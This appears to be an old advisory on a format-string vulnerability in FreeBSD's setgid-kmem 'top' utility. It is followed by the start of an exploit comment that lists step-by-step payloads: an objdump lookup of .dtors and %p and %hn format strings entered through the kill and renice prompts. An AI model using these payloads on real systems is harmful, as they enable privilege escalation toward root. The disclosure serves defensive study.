top is a program used to display system usage statistics in real time written by GoupSys Consulting but shipped by default as a core component with many operating systems. On BSD systems, top is installed setgid kmem so that it may read process information from kernel memory if executed by a user who does not have that privilege.
|
|
|
|
top contains a format-string vulnerability that may lead to a compromise of effective groupid kmem on BSD systems (or similar privileges on other systems). The problem occurs in the printing of error messages to a users terminal. A string partially composed of user input (the error message) is passed to a printf() function as the format string argument, allowing malicious format specifiers in user input to corrupt stack variables and execute arbitrary code.
|
|
|
|
If a malicious user gains egid kmem, vital information can be read from the kernel memory that may lead to a further elevation of privileges (most certainly root eventually).
|
|
|
|
The versions of top that ships with FreeBSD prior to 4.2 are known to be vulnerable. It is likely that other systems are vulnerable (though none are confirmed yet).

/*
|
|
* freebsd x86 top exploit
|
|
* affected under top-3.5beta9 ( including this version )
|
|
*
|
|
* 1. get the address of .dtors from /usr/bin/top using objdump ,
|
|
*
|
|
* 'objdump -s -j .dtors /usr/bin/top'
|
|
*
|
|
* 2. divide it into four parts, and set it up into an environment variable like "XSEO="
|
|
*
|
|
* 3. run top, then find "your parted addresses from "kill" or "renice" command like this
|
|
*
|
|
* 'k %200$p' or 'r 2000 %200$p'
|
|
*
|
|
* 4. do exploit !
|
|
*
|
|
* 'k %190u%230$hn' <== 0xbf (4)
|
|
* 'k %190u%229$hn' <== 0xbf (3)
|
|
* 'k %214u%228$hn' <== 0xd7 (2)
|
|
* 'k %118u%227$hn' <== 0x77 (1)
